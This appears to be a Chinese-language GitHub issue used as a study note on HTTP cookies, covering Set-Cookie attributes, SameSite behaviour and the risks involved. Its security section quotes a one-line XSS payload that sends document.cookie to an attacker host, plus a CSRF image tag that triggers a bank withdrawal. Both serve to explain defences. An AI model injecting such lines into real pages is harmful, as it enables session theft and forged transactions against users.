Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cookies #85

Open
unproductive-wanyicheng opened this issue Aug 15, 2021 · 0 comments
Open

Cookies #85

unproductive-wanyicheng opened this issue Aug 15, 2021 · 0 comments

Comments

@unproductive-wanyicheng
Copy link
Owner

Cookies 是什么

HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

Cookies 主要用来干嘛

Cookie 主要用于以下三个方面:

会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器API已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB 。

如何创建Cookies呢

创建Cookie
当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 Set-Cookie 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过  Cookie 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

Set-Cookie响应头部和Cookie请求头部
服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie信息。一个简单的 Cookie 可能像这样:

Set-Cookie: <cookie名>=<cookie值>
服务器通过该头部告知客户端保存 Cookie 信息。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[页面内容]
现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的Cookie信息通过 Cookie 请求头部再发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

我们发现,服务器可以放回多个Set-Cookie头部,浏览器自动把内容合并起来

Set-Cookie 有哪些浏览器已经实现了值?

Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax

// Multiple directives are also possible, for example:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

Cookies一旦存在就永远都保留吗?

定义 Cookie 的生命周期
Cookie 的生命周期可以通过两种方式定义:

会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。
持久性 Cookie 的生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间。
例如:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
提示:当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。

如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止会话固定攻击(session fixation attacks) (en-US),在该攻击中第三方可以重用用户的会话。

Expires=<date> 可选
cookie 的最长有效时间,形式为符合 HTTP-date 规范的时间戳。参考 Date 可以获取详细信息。如果没有设置这个属性,那么表示这是一个会话期 cookie 。一个会话结束于客户端被关闭时,这意味着会话期 cookie 在彼时会被移除。然而,很多Web浏览器支持会话恢复功能,这个功能可以使浏览器保留所有的tab标签,然后在重新打开浏览器的时候将其还原。与此同时,cookie 也会恢复,就跟从来没有关闭浏览器一样。

Max-Age=<non-zero-digit> 可选
在 cookie 失效之前需要经过的秒数。秒数为 0 或 -1 将会使 cookie 直接过期。一些老的浏览器(ie6、ie7 和 ie8)不支持这个属性。对于其他浏览器来说,假如二者 (指 Expires 和Max-Age) 均存在,那么 Max-Age 优先级更高。

可以看到,没有 Expires 和 Max-Age 的 cookie 在浏览器关闭后就自动清除了,除非浏览器自动恢复;Expires是一个绝对时间值,取决于浏览器本地的时间设置;优先级更高的是 Max-Age ,是一个相对值;0 -1 表示直接过期,其他正值代表 过了这么长时间后 过期。

除了浏览器帮我们自动设置cookie外我们可以自己修改cookie吗?

JavaScript 通过 Document.cookie 访问 Cookie
通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非HttpOnly标记的Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
Copy to Clipboard
通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志。

请留意在安全章节提到的安全隐患问题,JavaScript 可以通过跨站脚本攻击(XSS)的方式来窃取 Cookie。

读取非 HttpOnly 的cookie的时候很有意思,每次读会把所有的cookie一起读出来,单次写的时候如果当前key不存在就会加入,存在则覆盖。
读写的效果有点意思。

用 js 如何设置多个 cookie
当要设置多个cookie时, js 代码很自然地我们会这么写:

document.cookie = "name=Jonh; age=12; class=111";
但你会发现这样写只是添加了第一个cookie“name=John”,后面的所有cookie都没有添加成功。所以最简单的设置多个cookie的方法就在重复执行document.cookie = "key=name",如下:

document.cookie = "name=Jonh";
document.cookie = "age=12";
document.cookie = "class=111";
如何修改、删除
修改 cookie
要想修改一个cookie,只需要重新赋值就行,旧的值会被新的值覆盖。但要注意一点,在设置新cookie时,path/domain这几个选项一定要旧cookie 保持一样。否则不会修改旧值,而是添加了一个新的 cookie。

删除 cookie
删除一个cookie 也挺简单,也是重新赋值,只要将这个新cookie的expires 选项设置为一个过去的时间点就行了。但同样要注意,path/domain/这几个选项一定要旧cookie 保持一样。

限制cookie的使用场景

限制访问 Cookie
有两种方法可以确保 Cookie 被安全发送,并且不会被意外的参与者或脚本访问:Secure 属性和HttpOnly 属性。

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 man-in-the-middle 攻击者的攻击。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它。

从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)无法使用Cookie的 Secure 标记。

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 HttpOnly 属性。此预防措施有助于缓解跨站点脚本(XSS) (en-US)攻击。

示例:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Secure 可选
一个带有安全属性的 cookie 只有在请求使用SSL和HTTPS协议的时候才会被发送到服务器。然而,保密或敏感信息永远不要在 HTTP cookie 中存储或传输,因为整个机制从本质上来说都是不安全的,比如前述协议并不意味着所有的信息都是经过加密的。
注意:非安全站点(http:)已经不能再在 cookie 中设置 secure 指令了(在Chrome 52+ and Firefox 52+ 中新引入的限制)。

HttpOnly 可选
设置了 HttpOnly 属性的 cookie 不能使用 JavaScript 经由  Document.cookie 属性、XMLHttpRequest 和  Request APIs 进行访问,以防范跨站脚本攻击(XSS (en-US))。

Cookie 的作用域范围是什么?

Domain 属性
Domain 指定了哪些主机可以接受 Cookie。如果不指定,默认为 origin,不包含子域名。如果指定了Domain,则一般包含子域名。因此,指定 Domain 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。 

例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如developer.mozilla.org)。

当前大多数浏览器遵循 RFC 6265,设置 Domain 时 不需要加前导点。浏览器不遵循该规范,则需要加前导点,例如:Domain=.mozilla.org

Domain=<domain-value> 可选
指定 cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址中的主机部分(但是不包含子域名)。与之前的规范不同的是,域名之前的点号会被忽略。假如指定了域名,那么相当于各个子域名也包含在内了。

先看第一个 Domain 域 属性,它很重要。
以 wanyicheng.huawei.com 距离,当响应报文中写 response.setHeader('set-cookie', 'test=test');
浏览器帮我存储cookie的domain是 wanyicheng.huawei.com
这对应上文中不包含子域名,意味着 wanwanwan.huawei.com 无法使用我们刚刚设置的cookie
当响应报文中写 response.setHeader('set-cookie', 'test=test;domain=huawei.com')
浏览器帮我存储cookie的domain是 .huawei.com
这对应上文描述的就是 包含子域名;意味着访问 wanwanwan.huawei.com 的时候可以带上我们刚刚设置的cookie了。
这是cookie一个非常重要的特性。

Path 属性
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。

例如,设置 Path=/docs,则以下地址都会匹配:

/docs
/docs/Web/
/docs/Web/HTTP

Path=<path-value> 可选
指定一个 URL 路径,这个路径必须出现在要请求的资源的路径中才可以发送 Cookie 首部。字符  %x2F ("/") 可以解释为文件目录分隔符,此目录的下级目录也满足匹配的条件(例如,如果 path=/docs,那么 "/docs", "/docs/Web/" 或者 "/docs/Web/HTTP" 都满足匹配的条件)。

path可以进一步约束指定路径下哪些访问可以带上cookie

SameSite attribute
SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中  Site (en-US) 由可注册域定义),从而可以阻止跨站请求伪造攻击(CSRF)。

SameSite cookies 是相对较新的一个字段,所有主流浏览器都已经得到支持。

下面是例子:

Set-Cookie: key=value; SameSite=Strict
Copy to Clipboard
SameSite 可以有下面三种值:

None。浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
Strict。浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)
Lax。与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送。如 link 链接

SameSite=Strict
SameSite=Lax 可选 
允许服务器设定一则 cookie 不随着跨域请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。

SameSite属性也非常重要。它影响了浏览器对从 地址 B 访问 地址A的资源的时候,是否带上A的cookie的策略。B与A跨站。
具体看下对A的哪些请求会受到这个影响:

请求类型	    示例	                                 None	                 Lax             Strict
链接	        <a href="..."></a>	                    发送 Cookie	            发送 Cookie      不发送
预加载	        <link rel="prerender" href="..."/>	    发送 Cookie	            发送 Cookie      不发送
GET 表单	    <form method="GET" action="...">	    发送 Cookie	            发送 Cookie      不发送
POST 表单	    <form method="POST" action="...">	    发送 Cookie	            不发送           不发送
iframe	        <iframe src="..."></iframe>	            发送 Cookie	            不发送           不发送
AJAX	        $.get("...")	                        发送 Cookie	            不发送           不发送
Image	        <img src="...">	                        发送 Cookie	            不发送           不发送

可以看出来,一些服务利用跨站cookie的特性是因为之前浏览器把这个SameSite的默认值设置为None;
好像近几年升级默认值为 Lax 了。导致 几种类型的资源从 B 访问 A 的时候 无法带上A的cookie。从而导致鉴权失败。

从上图可以看出,对大部分 web 应用而言,Post 表单,iframe,AJAX,Image 这四种情况从以前的跨站会发送三方 Cookie,变成了不发送。

Post表单:应该的,学 CSRF 总会举表单的例子。

iframe:iframe 嵌入的 web 应用有很多是跨站的,都会受到影响。

AJAX:可能会影响部分前端取值的行为和结果。

Image:图片一般放 CDN,大部分情况不需要 Cookie,故影响有限。但如果引用了需要鉴权的图片,可能会受到影响。

除了这些还有 script 的方式,这种方式也不会发送 Cookie,像淘宝的大部分请求都是 jsonp,如果涉及到跨站也有可能会被影响。

一些由于cookie特性引发的潜在问题:

会话劫持和 XSS
在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 XSS (en-US) 攻击。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Copy to Clipboard
HttpOnly 类型的 Cookie 用于阻止了JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF)
维基百科已经给了一个比较好的 CSRF 例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Copy to Clipboard
当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:

对用户输入进行过滤来阻止 XSS (en-US);
任何敏感操作都需要确认;
用于敏感信息的 Cookie 只能拥有较短的生命周期;
更多方法可以查看OWASP CSRF prevention cheat sheet。

第三方cookie

比如,Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">
浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站

现在我们总结下浏览器对自动发送cookie的几个情况:

假设现在有网址 A: http://wanyicheng.huawei.com:3000;B: http://wanwan.huawei.com:3001; A B 彼此同站; 同时还有个 C: www.127.0.0.1:3001.com; AB 同C都是跨站
以下操作就假设我们没有手动清除cookie,保证cookie存在;

  1. 在 A 网址内,对A源内所有资源的访问都属于同源,都会自动带上cookie
  2. A 访问 B 的图片资源的时候,当B设置SameSite为 None或者Lax ,再次访问B的资源都可以自动带上B的cookie,说明同站cookie都是会自动带上的
  3. A 访问 C 的图片资源的时候,当B设置SameSite为 None可以自动带上,但是当设置成 Lax后,浏览器就无法帮我们保存cookie值,且再次访问C的资源不再自动带上cookie
    这也证明了上面的内容。
  4. 当 A 访问 B的资源的时候,A可以设置自己的cookie的domain为 huawei.com 这样,再次访问B的资源的时候,由于这个domain是B的父域名,从而可以带上这个公共的cookie到对B的请求中
  5. A 无法设置自己的cookie的domain跨域

最后说一句,cookies应该是有固定大小和数量限制的。本地保存数据有其他更好的api,因此cookie还是只保留它的原始功能就好了,不要把它当做存储数据的仓库。

参考资料:

  1. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies
  2. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie
  3. https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
  4. 浏览器系列之 Cookie 和 SameSite 属性 mqyqingfeng/Blog#157
  5. https://segmentfault.com/a/1190000004556040
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant